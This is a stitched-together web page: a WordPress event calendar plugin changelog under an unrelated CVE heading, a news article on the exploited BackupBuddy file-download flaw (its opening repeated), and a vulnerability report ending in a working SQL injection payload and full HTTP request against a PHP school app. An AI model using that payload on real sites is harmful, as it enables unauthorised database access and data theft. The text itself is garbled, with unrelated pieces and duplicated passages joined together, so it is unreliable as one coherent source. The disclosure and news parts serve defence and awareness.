*   Changed Basic function for creating Timeline Calendar.

**Version 1.2.8**

*   Fixed bug In Flexible Calendar type (Did not show the year in the calendar).
*   Changed all functions for creating calendar.
*   Updated the function for creating the events by ordering.

**Version 1.2.7**

*   Fixed PHP error in widget.

**Version 1.2.6**

*   Fixed a bug in the widget.

**Version 1.2.5**

*   Added new Type of calendar: ” Timeline Calendar “
*   Opened some functions for free version.

**Version 1.2.4**

*   Added possibility to create more than one flexible Calendar on the same page.

**Version 1.2.3**

*   Added Secondary question for deleting calendar or events.

**Version 1.2.2**

*   Added new text editor for making event description.

**Version 1.2.1**

*   In Category ” Total Products ” added new plugin ” Event Calendars ” by Total-Soft.

**Version 1.2.0**

*   Modified the Design Admin Panel.

**Version 1.1.9**

*   Added possibility to create more than one Simple Calendar on the same page.

**Version 1.1.8**

*   Tested with WP version 4.7.3.

**Version 1.1.7**

*   Added a function into the first and second versions. You can add descriptions, pictures, videos and choose time format.

**Version 1.1.6**

*   Added a new color picker type.
*   Opened some functions for free version.

**Version 1.1.5**

*   Added translations in several languages for the month names and weekday names.
*   Fixed bug in Flexible Calendar type with translation.

**Version 1.1.4**

*   Added new menu in the plugin.

**Version 1.1.3**

*   Fixed bugs in the 3 calendar types.

**Version 1.1.2**

*   Added new Calendar Type “Flexible Calendar” in which you can add events with images and videos from YouTube and Vimeo.

**Version 1.1.1**

*   Added Italian translation.

**Version 1.1.0**

*   Fixed a bug with icons.

**Version 1.0.8**

*   Issue with date format solved

**Version 1.0.7**

*   Fixed a problem with the widget

**Version 1.0.6**

*   Added new Type of calendar: ” Simple Calendar “

**Version 1.0.5**

*   Changed in the Admin panel
*   Added educational text for the users how to adjust the calendar

**Version 1.0.4**

*   Fixed Syntax Error

**Version 1.0.3**

*   Changed free version some parameters

**Version 1.0.2**

*   Fixed a bug in the event

**Version 1.0.1**

*   Fixed a little bug that was affecting some users

**Version 1.0.0**

*   Initial Version Release

CVE-2022-38067: Event Calendar – Calendar

A zero-day flaw in a WordPress plugin called BackupBuddy is being actively exploited, WordPress security company Wordfence has disclosed.
"This vulnerability makes it possible for unauthenticated users to download arbitrary files from the affected site which can include sensitive information," it said.
BackupBuddy allows users to back up their entire WordPress installation from within the

A zero-day flaw in a WordPress plugin called BackupBuddy is being actively exploited, WordPress security company Wordfence has disclosed.

"This vulnerability makes it possible for unauthenticated users to download arbitrary files from the affected site which can include sensitive information," it said.

BackupBuddy allows users to back up their entire WordPress installation from within the dashboard, including theme files, pages, posts, widgets, users, and media files, among others.

The plugin is estimated to have around 140,000 active installations, with the flaw (CVE-2022-31474, CVSS score: 7.5) affecting versions 8.5.8.0 to 8.7.4.1. It's been addressed in version 8.7.5 released on September 2, 2022.

The issue is rooted in the function called "Local Directory Copy" that's designed to store a local copy of the backups. According to Wordfence, the vulnerability is the result of the insecure implementation, which enables an unauthenticated threat actor to download any arbitrary file on the server.

Additional details about the flaw have been withheld in light of active in-the-wild abuse and its ease of exploitation.

"This vulnerability could allow an attacker to view the contents of any file on your server that can be read by your WordPress installation," the plugin's developer, iThemes, said. "This could include the WordPress wp-config.php file and, depending on your server setup, sensitive files like /etc/passwd."

Wordfence noted that the targeting of CVE-2022-31474 commenced on August 26, 2022, and that it has blocked nearly five million attacks in the intervening time period. Most of the intrusions have attempted to read the below files -

*   /etc/passwd
*   /wp-config.php
*   .my.cnf
*   .accesshash

Users of the BackupBuddy plugin are advised to upgrade to the latest version. Should users determine that they may have been compromised, it's recommended to reset the database password, change WordPress Salts, and rotate API keys stored in wp-config.php.

Found this article interesting? Follow THN on Facebook, Twitter __ and LinkedIn to read more exclusive content we post.

Hackers Exploit Zero-Day in WordPress BackupBuddy Plugin in ~5 Million Attempts

School Activity Updates with SMS Notification v1.0 was discovered to contain a SQL injection vulnerability via the component /modules/modstudent/index.php?view=edit&id=.

**School Activity Updates with SMS Notification v1.0 by janobe has SQL injection**

BUG\_Author: Moye

Login account: admin/admin (Super Admin account)

vendors: https://www.sourcecodester.com/php/13799/school-activity-updates-sms-notification-phppdo.html

The program is built using the xmapp-php5.6 version

Vulnerability File: /activity/admin/modules/modstudent/index.php?view=edit&id=

Vulnerability location: /activity/admin/modules/modstudent/index.php?view=edit&id=, id

dbname =db\_wvsu

\[+\] Payload: /activity/admin/modules/modstudent/index.php?view=edit&id=-201806%27%20union%20select%201,2,database(),4,5,6,7,8,9,10,11,12,13--+ // Leak place ---> id

GET /activity/admin/modules/modstudent/index.php?view\=edit&id\=\-201806%27%20union%20select%201,2,database(),4,5,6,7,8,9,10,11,12,13\--\+ HTTP/1.1
Host: 192.168.1.19
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=a58hbbkeelngug4ek0dssb0rb5
Connection: close

Tag

#php